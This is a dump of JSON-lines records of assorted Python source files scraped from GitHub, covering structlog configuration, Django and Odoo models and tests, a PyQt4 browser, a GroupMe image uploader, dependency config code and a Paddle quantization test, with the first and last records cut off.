necessary.\n\n See :func:`configure` for the meaning of the rest of the arguments.\n\n .. versionadded:: 0.4.0\n `logger_factory_args`\n \"\"\"\n return BoundLoggerLazyProxy(\n logger,\n wrapper_class=wrapper_class,\n processors=processors,\n context_class=context_class,\n cache_logger_on_first_use=cache_logger_on_first_use,\n initial_values=initial_values,\n logger_factory_args=logger_factory_args,\n )\n\n\ndef configure(processors=None, wrapper_class=None, context_class=None,\n logger_factory=None, cache_logger_on_first_use=None):\n \"\"\"\n Configures the **global** defaults.\n\n They are used if :func:`wrap_logger` has been called without arguments.\n\n Also sets the global class attribute :attr:`is_configured` to `True` on\n first call. Can be called several times, keeping an argument at `None`\n leaves is unchanged from the current setting.\n\n Use :func:`reset_defaults` to undo your changes.\n\n :param list processors: List of processors.\n :param type wrapper_class: Class to use for wrapping loggers instead of\n :class:`structlog.BoundLogger`. See :doc:`standard-library`,\n :doc:`twisted`, and :doc:`custom-wrappers`.\n :param type context_class: Class to be used for internal context keeping.\n :param callable logger_factory: Factory to be called to create a new\n logger that shall be wrapped.\n :param bool cache_logger_on_first_use: `wrap_logger` doesn't return an\n actual wrapped logger but a proxy that assembles one when it's first\n used. If this option is set to `True`, this assembled logger is\n cached. See :doc:`performance`.\n\n .. versionadded:: 0.3.0\n `cache_logger_on_first_use`\n \"\"\"\n _CONFIG.is_configured = True\n if processors is not None:\n _CONFIG.default_processors = processors\n if wrapper_class:\n _CONFIG.default_wrapper_class = wrapper_class\n if context_class:\n _CONFIG.default_context_class = context_class\n if logger_factory:\n _CONFIG.logger_factory = logger_factory\n if cache_logger_on_first_use is not None:\n _CONFIG.cache_logger_on_first_use = cache_logger_on_first_use\n\n\ndef configure_once(*args, **kw):\n \"\"\"\n Configures iff structlog isn't configured yet.\n\n It does *not* matter whether is was configured using :func:`configure`\n or :func:`configure_once` before.\n\n Raises a RuntimeWarning if repeated configuration is attempted.\n \"\"\"\n if not _CONFIG.is_configured:\n configure(*args, **kw)\n else:\n warnings.warn('Repeated configuration attempted.', RuntimeWarning)\n\n\ndef reset_defaults():\n \"\"\"\n Resets global default values to builtins.\n\n That means [:class:`~structlog.processors.StackInfoRenderer`,\n :func:`~structlog.processors.format_exc_info`,\n :class:`~structlog.processors.TimeStamper`,\n :class:`~structlog.dev.ConsoleRenderer`] for *processors*,\n :class:`~structlog.BoundLogger` for *wrapper_class*, ``OrderedDict`` for\n *context_class*, :class:`~structlog.PrintLoggerFactory` for\n *logger_factory*, and `False` for *cache_logger_on_first_use*.\n\n Also sets the global class attribute :attr:`is_configured` to `False`.\n \"\"\"\n _CONFIG.is_configured = False\n _CONFIG.default_processors = _BUILTIN_DEFAULT_PROCESSORS[:]\n _CONFIG.default_wrapper_class = _BUILTIN_DEFAULT_WRAPPER_CLASS\n _CONFIG.default_context_class = _BUILTIN_DEFAULT_CONTEXT_CLASS\n _CONFIG.logger_factory = _BUILTIN_DEFAULT_LOGGER_FACTORY\n _CONFIG.cache_logger_on_first_use = _BUILTIN_CACHE_LOGGER_ON_FIRST_USE\n\n\nclass BoundLoggerLazyProxy(object):\n \"\"\"\n Instantiates a BoundLogger on first usage.\n\n Takes both configuration and instantiation parameters into account.\n\n The only points where a BoundLogger changes state are bind(), unbind(), and\n new() and that return the actual BoundLogger.\n\n If and only if configuration says so, that actual BoundLogger is cached on\n first usage.\n\n .. versionchanged:: 0.4.0\n Added support for `logger_factory_args`.\n \"\"\"\n def __init__(self, logger, wrapper_class=None, processors=None,\n context_class=None, cache_logger_on_first_use=None,\n initial_values=None, logger_factory_args=None):\n self._logger = logger\n self._wrapper_class = wrapper_class\n self._processors = processors\n self._context_class = context_class\n self._cache_logger_on_first_use = cache_logger_on_first_use\n self._initial_values = initial_values or {}\n self._logger_factory_args = logger_factory_args or ()\n\n def __repr__(self):\n return (\n ''.format(self)\n )\n\n def bind(self, **new_values):\n \"\"\"\n Assemble a new BoundLogger from arguments and configuration.\n \"\"\"\n if self._context_class:\n ctx = self._context_class(self._initial_values)\n else:\n ctx = _CONFIG.default_context_class(self._initial_values)\n cls = self._wrapper_class or _CONFIG.default_wrapper_class\n _logger = self._logger\n if not _logger:\n _logger = _CONFIG.logger_factory(*self._logger_factory_args)\n\n if self._processors is None:\n procs = _CONFIG.default_processors\n else:\n procs = self._processors\n logger = cls(\n _logger,\n processors=procs,\n context=ctx,\n )\n\n def finalized_bind(**new_values):\n \"\"\"\n Use cached assembled logger to bind potentially new values.\n \"\"\"\n if new_values:\n return logger.bind(**new_values)\n else:\n return logger\n\n if (\n self._cache_logger_on_first_use is True or\n (self._cache_logger_on_first_use is None and\n _CONFIG.cache_logger_on_first_use is True)\n ):\n self.bind = finalized_bind\n return finalized_bind(**new_values)\n\n def unbind(self, *keys):\n \"\"\"\n Same as bind, except unbind *keys* first.\n\n In our case that could be only initial values.\n \"\"\"\n return self.bind().unbind(*keys)\n\n def new(self, **new_values):\n \"\"\"\n Clear context, then bind.\n \"\"\"\n if self._context_class:\n self._context_class().clear()\n else:\n _CONFIG.default_context_class().clear()\n bl = self.bind(**new_values)\n return bl\n\n def __getattr__(self, name):\n \"\"\"\n If a logging method if called on a lazy proxy, we have to create an\n ephemeral BoundLogger first.\n \"\"\"\n bl = self.bind()\n return getattr(bl, name)\n","repo_name":"xstefank/learning-tests","sub_path":"ansible/ansible-container-flask-example/.venv/lib/python3.6/site-packages/structlog/_config.py","file_name":"_config.py","file_ext":"py","file_size_in_byte":10468,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"29"} +{"seq_id":"8598900457","text":"from context import libspn as spn\nfrom test import TestCase\nimport tensorflow as tf\n\n\nclass TestPartition(TestCase):\n\n def test_serialize_enums(self):\n class TestEnum(spn.utils.Enum):\n FOO = 1\n BAR = 2\n BAZ = 1\n\n # Serialize and deserialize\n data1 = {'val1': TestEnum.FOO,\n 'val2': TestEnum.BAR,\n 'val3': TestEnum.BAZ}\n data_json = spn.utils.json_dumps(data1)\n data2 = spn.utils.json_loads(data_json)\n\n # Check\n self.assertIs(data1['val1'], data2['val1'])\n self.assertIs(data1['val2'], data2['val2'])\n self.assertIs(data1['val3'], data2['val3'])\n\n\nif __name__ == '__main__':\n tf.test.main()\n","repo_name":"jostosh/libspn","sub_path":"libspn/tests/test_serialization.py","file_name":"test_serialization.py","file_ext":"py","file_size_in_byte":725,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"29"} +{"seq_id":"16624550263","text":"from django.db import models\n\nfrom django.contrib.auth.base_user import AbstractBaseUser\nfrom django.contrib.auth.models import PermissionsMixin, UserManager\nfrom django.contrib.auth.validators import ASCIIUsernameValidator\nfrom django.core.mail import send_mail\nfrom django.db import models\nfrom django.utils.translation import gettext_lazy as _\n\nclass CharFieldCaseIgnore(models.CharField):\n \"\"\"\n ignorecase CharField\n \"\"\"\n def to_python(self, value):\n value = super().to_python(value)\n if isinstance(value, str):\n return value.lower()\n return value\n\nclass PersoneModel(AbstractBaseUser, PermissionsMixin):\n \"\"\"\n django model for validators\n \"\"\"\n username_validator = ASCIIUsernameValidator()\n\n username = CharFieldCaseIgnore(\n _(\"username\"),\n max_length=150,\n unique=True,\n help_text=_(\"Required. 150 characters or fewer.\\\n Letters, digits and @/./+/-/_ only.\"),\n validators=[username_validator],\n error_messages={\n \"unique\":_(\"A user with that username exists.\")\n }\n )\n\n first_name = models.CharField(\n _(\"first name\"),\n max_length=150,\n blank=True\n )\n\n surname = models.CharField(\n _(\"surname\"),\n max_length=150,\n blank=True,\n null=True\n )\n\n age = models.DateField(\n _(\"age\"),\n blank=True,\n null=True\n )\n\n email = CharFieldCaseIgnore(\n _(\"email\"),\n max_length=256,\n unique=True,\n error_messages={\n \"unique\":_(\"A user with that email address allready exists\")\n }\n )\n\n date_joined = models.DateTimeField(\n _(\"joing\"),\n auto_now_add=True,\n editable=False\n )\n\n EMAIL_FIELD = \"email\"\n USERNAME_FIELD = \"username\"\n REQUIRED_FIELDS = [\"email\"]\n\n class Meta:\n verbose_name = _(\"user\")\n verbose_name_plural = _(\"users\")\n\n def clean(self):\n super().clean()\n self.email = self.__class__.objects.normalize_email(self.email)\n\n def get_full_name(self):\n \"\"\"\n Return the first_name plus the last_name, with a space in between.\n If exists.\n \"\"\"\n if self.first_name and self.surname:\n full_name = f\"{self.first_name:s} {self.surname:s}\"\n return full_name.strip()\n else:\n return \"\"\n\n def get_short_name(self):\n \"\"\"Return the short name for the user if exists.\"\"\"\n return (self.first_name if self.first_name else \"\")\n\n def email_user(self, subject, message, from_email=None, **kwargs):\n \"\"\"Send an email to this user.\"\"\"\n send_mail(subject, message, from_email, [self.email], **kwargs)","repo_name":"Mokolo12/DjangoRest","sub_path":"HW1_3.py","file_name":"HW1_3.py","file_ext":"py","file_size_in_byte":2734,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"4921982403","text":"#print 1 to 100 and even no should print with negative sign \nn=100\ni=1\nwhile i<=n:\n if i%2==0:\n print( \",\",i*-1,\",\", end=\"\")\n else:\n print(i,end=\"\")\n i=i+1\n \n \nn=100\ni=0\nwhile i<=n:\n if i%2==0:\n print(i*-1,)\n if i%2!=0:\n print(i)\n i+=1","repo_name":"Kaguinewme/LOOP","sub_path":"merakiQno.6.py","file_name":"merakiQno.6.py","file_ext":"py","file_size_in_byte":287,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"19346079913","text":"# 2014.01.20 23:20:45 中国标准时间\n#Embedded file name: WebClient\\WebBrowerse.pyc\n\"\"\"\nCreated on 2014-1-12\n\n@author: sdz\n\"\"\"\nfrom PyQt4 import QtGui\nfrom UI import mainWindow\nfrom PyQt4 import QtCore\nimport PyQt4\nfrom PyQt4 import QtWebKit\nfrom UI import DownloadDialog\nfrom UI import DownloadListDialog\nfrom util import File_U\nimport sys\nimport sip\n\nclass MainWindow(QtGui.QMainWindow):\n\n def __init__(self):\n super(MainWindow, self).__init__()\n self._loadUI()\n self.setCentralWidget(self.ui.webView)\n self.ui.webView.load(QtCore.QUrl(mainWindow._fromUtf8('http://www.uniz.cc/modelview/')))\n self.setWindowIcon(QtGui.QIcon(QtGui.QPixmap('../icon/main_big.png')))\n self.setWindowTitle(mainWindow._fromUtf8('Uniz Software - Model View'))\n self.setStatusBar(QtGui.QStatusBar(self))\n self.statusBar().showMessage(mainWindow._fromUtf8('Uniz Software - Model View'))\n self._initToolbar()\n self._connectWebViewLinkClicked()\n sip.setdestroyonexit(False)\n\n def _loadUI(self):\n self.ui = mainWindow.Ui_mainWindow()\n self.ui.setupUi(self)\n\n def _initToolbar(self):\n self.toolbar = QtGui.QToolBar(self)\n self.setToolButtonStyle(QtCore.Qt.ToolButtonTextBesideIcon)\n self.homepageActionItem = self._initToobarItem('../icon/homepage.png')\n self.forwardActionItem = self._initToobarItem('../icon/forward.png')\n self.backActionItem = self._initToobarItem('../icon/back.png')\n self.refeshActionItem = self._initToobarItem('../icon/download.png')\n self.downloadActionItem = self._initToobarItem('../icon/download.png')\n self.connect(self.homepageActionItem, QtCore.SIGNAL(mainWindow._fromUtf8('triggered()')), self.homepageClickAction)\n self.connect(self.forwardActionItem, QtCore.SIGNAL(mainWindow._fromUtf8('triggered()')), self.forwardClickAction)\n self.connect(self.backActionItem, QtCore.SIGNAL(mainWindow._fromUtf8('triggered()')), self.backClickAction)\n self.connect(self.refeshActionItem, QtCore.SIGNAL(mainWindow._fromUtf8('triggered()')), self.refeshClickAction)\n self.connect(self.downloadActionItem, QtCore.SIGNAL(mainWindow._fromUtf8('triggered()')), self.downloadListClickAction)\n self.toolbar.addAction(self.homepageActionItem)\n self.toolbar.addAction(self.forwardActionItem)\n self.toolbar.addAction(self.backActionItem)\n self.toolbar.addAction(self.refeshActionItem)\n self.toolbar.addAction(self.downloadActionItem)\n self.addToolBar(QtCore.Qt.LeftToolBarArea, self.toolbar)\n\n def _connectWebViewLinkClicked(self):\n self.ui.webView.page().setLinkDelegationPolicy(QtWebKit.QWebPage.DelegateAllLinks)\n QtCore.QObject.connect(self.ui.webView, QtCore.SIGNAL(mainWindow._fromUtf8('linkClicked(QUrl)')), self.clickUrlAction)\n\n def homepageClickAction(self):\n self.ui.webView.setUrl(QtCore.QUrl(mainWindow._fromUtf8('http://www.uniz.cc/modelview/')))\n\n def forwardClickAction(self):\n self.ui.webView.forward()\n\n def backClickAction(self):\n self.ui.webView.back()\n\n def refeshClickAction(self):\n self.ui.webView.reload()\n\n def downloadListClickAction(self):\n filelist = File_U.getAllFile(File_U.getCurrentUpDirPath() + '/temp')\n downloadlistDialog = DownloadListDialog.DownloadListDialog(self)\n downloadlistDialog.fillTableWidget(filelist)\n downloadlistDialog.show()\n\n @PyQt4.QtCore.pyqtSlot(QtCore.QUrl)\n def clickUrlAction(self, url):\n url_str = File_U._fromUtf8(url.toString())\n if not str(url_str).endswith('.7z'):\n self.ui.webView.setUrl(url)\n else:\n dd = DownloadDialog.DownloadDialog(self)\n dd.show()\n dd.ui.label_url.setText(url.toString())\n\n def _initToobarItem(self, img_path):\n item_action = QtGui.QAction(self)\n item_icon = QtGui.QIcon()\n item_icon.addPixmap(QtGui.QPixmap(img_path), QtGui.QIcon.Normal, QtGui.QIcon.Off)\n item_action.setIcon(item_icon)\n return item_action\n\n def closeEvent(self, closeEvent):\n self.close()\n\n\nif __name__ == '__main__':\n app = QtGui.QApplication(sys.argv)\n main = MainWindow()\n main.show()\n app.exec_()\n","repo_name":"sdz7121211/UnizPrintClient","sub_path":"Main/WebBrowerse.py","file_name":"WebBrowerse.py","file_ext":"py","file_size_in_byte":4281,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"5546804935","text":"from odoo.tests import common\nfrom ast import literal_eval\n\n\nclass TestReportLabel(common.TransactionCase):\n\n def setUp(self):\n super().setUp()\n self.partner_label = self.env.ref(\n \"report_label.actions_server_label_partner_address\")\n\n def test_01_print_partner_label(self):\n self.partner_label.create_action()\n action = self.partner_label.run()\n model = action[\"res_model\"]\n context = literal_eval(action[\"context\"])\n context[\"active_model\"] = \"res.partner\"\n context[\"active_ids\"] = self.env[\"res.partner\"].search([]).ids\n wizard = self.env[model].with_context(context).create({})\n report_action = wizard.print_report()\n self.assertEquals(report_action[\"type\"], \"ir.actions.report\")\n","repo_name":"decodio/oca12","sub_path":"report_label/tests/test_report_label.py","file_name":"test_report_label.py","file_ext":"py","file_size_in_byte":778,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"29"} +{"seq_id":"27684738194","text":"import requests\nimport groupmeme.config as config\nfrom groupmeme.api.errors import UnexpectedStatusCodeError\n\ndef upload_picture(filepath:str):\n \"\"\"\n Upload a picture to GroupMe's image CDN\n \n params:\n - `filepath (str)`: Path to the image file you wish to upload\n \n raises:\n - `UnexpectedStatusCodeError`\n - `FileNotFoundError`\n \"\"\"\n res = None\n headers = { 'X-Access-Token': config.API_TOKEN }\n with open(filepath, 'rb') as image_file:\n body = image_file.read()\n res = requests.post(f'https://image.groupme.com/pictures', headers=headers, data=body)\n if res.status_code != 200:\n raise UnexpectedStatusCodeError(res.status_code, 200)\n res_data = res.json()['response']['payload']\n return res_data['url'], res_data['picture_url']\n ","repo_name":"raian621/groupmeme","sub_path":"groupmeme/api/pictures.py","file_name":"pictures.py","file_ext":"py","file_size_in_byte":759,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"19709722185","text":"\"\"\"Test class for Config Groups UI\n\n:Requirement: Config Group\n\n:CaseAutomation: Automated\n\n:CaseLevel: Acceptance\n\n:CaseComponent: Puppet\n\n:Team: Rocket\n\n:TestType: Functional\n\n:CaseImportance: Low\n\n:Upstream: No\n\"\"\"\nfrom fauxfactory import gen_string\nimport pytest\n\n\n@pytest.fixture(scope='module')\ndef module_puppet_class(session_puppet_enabled_sat):\n return session_puppet_enabled_sat.api.PuppetClass().create()\n\n\n@pytest.mark.tier2\n@pytest.mark.upgrade\ndef test_positive_end_to_end(session_puppet_enabled_sat, module_puppet_class):\n \"\"\"Perform end to end testing for config group component\n\n :id: 3ac47175-1239-4481-9ae2-e31980fb6607\n\n :expectedresults: All expected CRUD actions finished successfully\n\n :CaseLevel: Integration\n\n :CaseImportance: High\n \"\"\"\n name = gen_string('alpha')\n new_name = gen_string('alpha')\n with session_puppet_enabled_sat.ui_session() as session:\n # Create new config group\n session.configgroup.create({'name': name, 'classes.assigned': [module_puppet_class.name]})\n assert session.configgroup.search(name)[0]['Name'] == name\n values = session.configgroup.read(name)\n assert values['name'] == name\n assert len(values['classes']['assigned']) == 1\n assert values['classes']['assigned'][0] == module_puppet_class.name\n # Update config group with new name\n session.configgroup.update(name, {'name': new_name})\n assert session.configgroup.search(new_name)[0]['Name'] == new_name\n assert not session.configgroup.search(name)\n # Delete config group\n session.configgroup.delete(new_name)\n assert not session.configgroup.search(new_name)\n","repo_name":"SatelliteQE/robottelo","sub_path":"tests/foreman/ui/test_config_group.py","file_name":"test_config_group.py","file_ext":"py","file_size_in_byte":1690,"program_lang":"python","lang":"en","doc_type":"code","stars":56,"dataset":"github-code","pt":"29"} +{"seq_id":"31230567002","text":"import json\nimport os\n\nfrom catapult_base.dependency_manager import dependency_info\nfrom catapult_base.dependency_manager import exceptions\n\n\nclass BaseConfig(object):\n \"\"\"A basic config class for use with the DependencyManager.\n\n Initiated with a json file in the following format:\n\n { \"config_type\": \"BaseConfig\",\n \"dependencies\": {\n \"dep_name1\": {\n \"cloud_storage_base_folder\": \"base_folder1\",\n \"cloud_storage_bucket\": \"bucket1\",\n \"file_info\": {\n \"platform1\": {\n \"cloud_storage_hash\": \"hash_for_platform1\",\n \"download_path\": \"download_path111\",\n \"version_in_cs\": \"1.11.1.11.\"\n \"local_paths\": [\"local_path1110\", \"local_path1111\"]\n },\n \"platform2\": {\n \"cloud_storage_hash\": \"hash_for_platform2\",\n \"download_path\": \"download_path2\",\n \"local_paths\": [\"local_path20\", \"local_path21\"]\n },\n ...\n }\n },\n \"dependency_name_2\": {\n ...\n },\n ...\n }\n }\n\n Required fields: \"dependencies\" and \"config_type\".\n Note that config_type must be \"BaseConfig\"\n\n Assumptions:\n \"cloud_storage_base_folder\" is a top level folder in the given\n \"cloud_storage_bucket\" where all of the dependency files are stored\n at \"dependency_name\"_\"cloud_storage_hash\".\n\n \"download_path\" and all paths in \"local_paths\" are relative to the\n config file's location.\n\n All or none of the following cloud storage related fields must be\n included in each platform dictionary:\n \"cloud_storage_hash\", \"download_path\", \"cs_remote_path\"\n\n \"version_in_cs\" is an optional cloud storage field, but is dependent\n on the above cloud storage related fields.\n\n\n Also note that platform names are often of the form os_architechture.\n Ex: \"win_AMD64\"\n\n More information on the fields can be found in dependencies_info.py\n \"\"\"\n def __init__(self, file_path, writable=False):\n \"\"\" Initialize a BaseConfig for the DependencyManager.\n\n Args:\n writable: False: This config will be used to lookup information.\n True: This config will be used to update information.\n\n file_path: Path to a file containing a json dictionary in the expected\n json format for this config class. Base format expected:\n\n { \"config_type\": config_type,\n \"dependencies\": dependencies_dict }\n\n config_type: must match the return value of GetConfigType.\n dependencies: A dictionary with the information needed to\n create dependency_info instances for the given\n dependencies.\n\n See dependency_info.py for more information.\n \"\"\"\n self._config_path = file_path\n self._writable = writable\n if not file_path:\n raise ValueError('Must supply config file path.')\n if not os.path.exists(file_path):\n if not writable:\n raise exceptions.EmptyConfigError(file_path)\n self._config_data = {}\n self.CreateEmptyConfig(file_path)\n else:\n with open(file_path, 'r') as f:\n config_data = json.load(f)\n if not config_data:\n raise exceptions.EmptyConfigError(file_path)\n config_type = config_data.pop('config_type', None)\n if config_type != self.GetConfigType():\n raise ValueError(\n 'Supplied config_type (%s) is not the expected type (%s) in file '\n '%s' % (config_type, self.GetConfigType(), file_path))\n self._config_data = config_data.get('dependencies', {})\n\n def IterDependencyInfo(self):\n \"\"\" Yields a DependencyInfo for each dependency/platform pair.\n\n Raises:\n ReadWriteError: If called when the config is writable.\n ValueError: If any of the dependencies contain partial information for\n downloading from cloud_storage. (See dependency_info.py)\n \"\"\"\n if self._writable:\n raise exceptions.ReadWriteError(\n 'Trying to read dependency info from a writable config. File for '\n 'config: %s' % self._config_path)\n for dep in self._config_data:\n\n base_path = os.path.dirname(self._config_path)\n dependency_dict = self._config_data.get(dep, {})\n platforms_dict = dependency_dict.get('file_info')\n cs_bucket = dependency_dict.get('cloud_storage_bucket', None)\n cs_base_folder = dependency_dict.get('cloud_storage_base_folder', '')\n for platform in platforms_dict:\n platform_info = platforms_dict.get(platform)\n local_paths = platform_info.get('local_paths', [])\n if local_paths:\n paths = []\n for path in local_paths:\n path = self._FormatPath(path)\n paths.append(os.path.abspath(os.path.join(base_path, path)))\n local_paths = paths\n\n download_path = platform_info.get('download_path', None)\n if download_path:\n download_path = self._FormatPath(download_path)\n download_path = os.path.abspath(\n os.path.join(base_path, download_path))\n\n cs_remote_path = None\n cs_hash = platform_info.get('cloud_storage_hash', None)\n if cs_hash:\n cs_remote_file = '%s_%s' % (dep, cs_hash)\n cs_remote_path = cs_remote_file if not cs_base_folder else (\n '%s/%s' % (cs_base_folder, cs_remote_file))\n\n version_in_cs = platform_info.get('version_in_cs', None)\n\n if download_path or cs_remote_path or cs_hash or version_in_cs:\n dep_info = dependency_info.DependencyInfo(\n dep, platform, self._config_path, cs_bucket=cs_bucket,\n cs_remote_path=cs_remote_path, download_path=download_path,\n cs_hash=cs_hash, version_in_cs=version_in_cs,\n local_paths=local_paths)\n else:\n dep_info = dependency_info.DependencyInfo(\n dep, platform, self._config_path, local_paths=local_paths)\n yield dep_info\n\n @classmethod\n def CreateEmptyConfig(cls, file_path):\n \"\"\"Create an empty BaseConfig json dict and write it out to |file_path|.\n\n Raises:\n ValueError: If the path already exists.\n \"\"\"\n if os.path.exists(file_path):\n raise ValueError('File already exists, and would be overwritten.')\n json_dict = {'config_type': cls.GetConfigType(),\n 'dependencies': {}}\n with open(file_path, 'w') as outfile:\n json.dump(json_dict, outfile, indent=2, sort_keys=True)\n return json_dict\n\n @classmethod\n def GetConfigType(cls):\n return 'BaseConfig'\n\n @property\n def config_path(self):\n return self._config_path\n\n def UpdateCloudStorageDependency(\n self, dependency, platform, dependency_path, version=None):\n \"\"\"Update the cloud storage hash and the version for the given dependency.\n \"\"\"\n # TODO(aiolos): Only allow the config to be updated if writable is True to\n # avoid data changing underneath the dependency manager.\n raise NotImplementedError\n\n def GetVersion(self, dependency, platform):\n \"\"\"Return the Version information for the given dependency.\"\"\"\n if not self._config_data(dependency):\n raise ValueError('Dependency %s is not in config.' % dependency)\n if not self.config_data[dependency].get(platform):\n raise ValueError('Dependency %s has no information for platform %s in '\n 'this config.' % (dependency, platform))\n return self._config_data[dependency][platform].get('version_in_cs')\n\n @classmethod\n def _FormatPath(cls, file_path):\n \"\"\"Format |file_path| for the current file system.\n\n We may be downloading files for another platform, so paths must be\n downloadable on the current system.\n \"\"\"\n if not file_path:\n return file_path\n if os.path.sep != '\\\\':\n return file_path.replace('\\\\', os.path.sep)\n elif os.path.sep != '/':\n return file_path.replace('/', os.path.sep)\n return file_path\n\n","repo_name":"sinoory/ninjaprj","sub_path":"src/tools/telemetry/catapult_base/dependency_manager/base_config.py","file_name":"base_config.py","file_ext":"py","file_size_in_byte":8300,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"30955119068","text":"\"\"\"\r\n6. Consider the following data.\r\nProgramming languages: Java Python PHP JavaScript C# C++\r\nPopularity 22.2 17.6 8.8 8 77 6.7\r\n(ii) Write a Python programming to display a horizontal bar chart\r\nof the popularity of programming\r\nLanguages(Give Red colour to the bar chart).\r\n\"\"\"\r\n\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\n\r\n# Creating the dataset\r\nc_pop = {'Java':22.2, 'Python':17.6, 'PHP':8.8,'JavaScript':8,'C#':77,'C++':6.7}\r\n\r\ncourses = list(c_pop.keys())\r\npopularity = list(c_pop.values())\r\n\r\nplt.figure(figsize = (8,6))\r\n\r\n# Plot Bar Chart\r\nplt.barh(courses, popularity, color ='red',height=0.8)\r\n\r\nplt.xlabel(\"Popularity\")\r\nplt.ylabel(\"Programming Languages\")\r\nplt.title(\"Popularity of Programming Languages\")\r\nplt.show()\r\n","repo_name":"AnjanaPT/DATA-SCIENCE","sub_path":"EXERCISE_3/Program_6_course_pop_2.py","file_name":"Program_6_course_pop_2.py","file_ext":"py","file_size_in_byte":782,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"36030777921","text":"import logging\n\nimport numpy as np\n\nimport paddle\nfrom paddle.framework import ParamAttr\nfrom paddle.nn import (\n BatchNorm1D,\n BatchNorm2D,\n Conv2D,\n LeakyReLU,\n Linear,\n MaxPool2D,\n PReLU,\n ReLU,\n ReLU6,\n Sequential,\n Sigmoid,\n Softmax,\n)\nfrom paddle.static.log_helper import get_logger\n\n_logger = get_logger(\n __name__, logging.INFO, fmt='%(asctime)s-%(levelname)s: %(message)s'\n)\n\n\ndef fix_model_dict(model):\n fixed_state = {}\n for name, param in model.named_parameters():\n p_shape = param.numpy().shape\n p_value = param.numpy()\n if name.endswith(\"bias\"):\n value = np.zeros_like(p_value).astype('float32')\n else:\n value = (\n np.random.normal(loc=0.0, scale=0.01, size=np.prod(p_shape))\n .reshape(p_shape)\n .astype('float32')\n )\n fixed_state[name] = value\n model.set_dict(fixed_state)\n return model\n\n\ndef pre_hook(layer, input):\n input_return = input[0] * 2\n return input_return\n\n\ndef post_hook(layer, input, output):\n return output * 2\n\n\ndef train_lenet(lenet, reader, optimizer):\n loss_list = []\n lenet.train()\n\n for batch_id, data in enumerate(reader()):\n x_data = np.array([x[0].reshape(1, 28, 28) for x in data]).astype(\n 'float32'\n )\n y_data = np.array([x[1] for x in data]).astype('int64').reshape(-1, 1)\n\n img = paddle.to_tensor(x_data)\n label = paddle.to_tensor(y_data)\n\n out = lenet(img)\n loss = paddle.nn.functional.cross_entropy(\n out, label, reduction='none', use_softmax=False\n )\n avg_loss = paddle.mean(loss)\n avg_loss.backward()\n\n optimizer.minimize(avg_loss)\n lenet.clear_gradients()\n\n if batch_id % 100 == 0:\n loss_list.append(float(avg_loss))\n _logger.info('{}: {}'.format('loss', float(avg_loss)))\n\n return loss_list\n\n\nclass ImperativeLenet(paddle.nn.Layer):\n def __init__(self, num_classes=10):\n super().__init__()\n conv2d_w1_attr = ParamAttr(name=\"conv2d_w_1\")\n conv2d_w2_attr = ParamAttr(name=\"conv2d_w_2\")\n fc_w1_attr = ParamAttr(name=\"fc_w_1\")\n fc_w2_attr = ParamAttr(name=\"fc_w_2\")\n fc_w3_attr = ParamAttr(name=\"fc_w_3\")\n conv2d_b2_attr = ParamAttr(name=\"conv2d_b_2\")\n fc_b1_attr = ParamAttr(name=\"fc_b_1\")\n fc_b2_attr = ParamAttr(name=\"fc_b_2\")\n fc_b3_attr = ParamAttr(name=\"fc_b_3\")\n self.features = Sequential(\n Conv2D(\n in_channels=1,\n out_channels=6,\n kernel_size=3,\n stride=1,\n padding=1,\n weight_attr=conv2d_w1_attr,\n bias_attr=False,\n ),\n BatchNorm2D(6),\n ReLU(),\n MaxPool2D(kernel_size=2, stride=2),\n Conv2D(\n in_channels=6,\n out_channels=16,\n kernel_size=5,\n stride=1,\n padding=0,\n weight_attr=conv2d_w2_attr,\n bias_attr=conv2d_b2_attr,\n ),\n BatchNorm2D(16),\n PReLU(),\n MaxPool2D(kernel_size=2, stride=2),\n )\n\n self.fc = Sequential(\n Linear(\n in_features=400,\n out_features=120,\n weight_attr=fc_w1_attr,\n bias_attr=fc_b1_attr,\n ),\n LeakyReLU(),\n Linear(\n in_features=120,\n out_features=84,\n weight_attr=fc_w2_attr,\n bias_attr=fc_b2_attr,\n ),\n Sigmoid(),\n Linear(\n in_features=84,\n out_features=num_classes,\n weight_attr=fc_w3_attr,\n bias_attr=fc_b3_attr,\n ),\n Softmax(),\n )\n self.add = paddle.nn.quant.add()\n self.quant_stub = paddle.nn.quant.QuantStub()\n\n def forward(self, inputs):\n x = self.quant_stub(inputs)\n x = self.features(x)\n\n x = paddle.flatten(x, 1)\n x = self.add(x, paddle.to_tensor([0.0])) # For CI\n x = self.fc(x)\n return x\n\n\nclass ImperativeLenetWithSkipQuant(paddle.nn.Layer):\n def __init__(self, num_classes=10):\n super().__init__()\n\n conv2d_w1_attr = ParamAttr(name=\"conv2d_w_1\")\n conv2d_w2_attr = ParamAttr(name=\"conv2d_w_2\")\n fc_w1_attr = ParamAttr(name=\"fc_w_1\")\n fc_w2_attr = ParamAttr(name=\"fc_w_2\")\n fc_w3_attr = ParamAttr(name=\"fc_w_3\")\n conv2d_b1_attr = ParamAttr(name=\"conv2d_b_1\")\n conv2d_b2_attr = ParamAttr(name=\"conv2d_b_2\")\n fc_b1_attr = ParamAttr(name=\"fc_b_1\")\n fc_b2_attr = ParamAttr(name=\"fc_b_2\")\n fc_b3_attr = ParamAttr(name=\"fc_b_3\")\n self.conv2d_0 = Conv2D(\n in_channels=1,\n out_channels=6,\n kernel_size=3,\n stride=1,\n padding=1,\n weight_attr=conv2d_w1_attr,\n bias_attr=conv2d_b1_attr,\n )\n self.conv2d_0.skip_quant = True\n\n self.batch_norm_0 = BatchNorm2D(6)\n self.relu_0 = ReLU()\n self.pool2d_0 = MaxPool2D(kernel_size=2, stride=2)\n self.conv2d_1 = Conv2D(\n in_channels=6,\n out_channels=16,\n kernel_size=5,\n stride=1,\n padding=0,\n 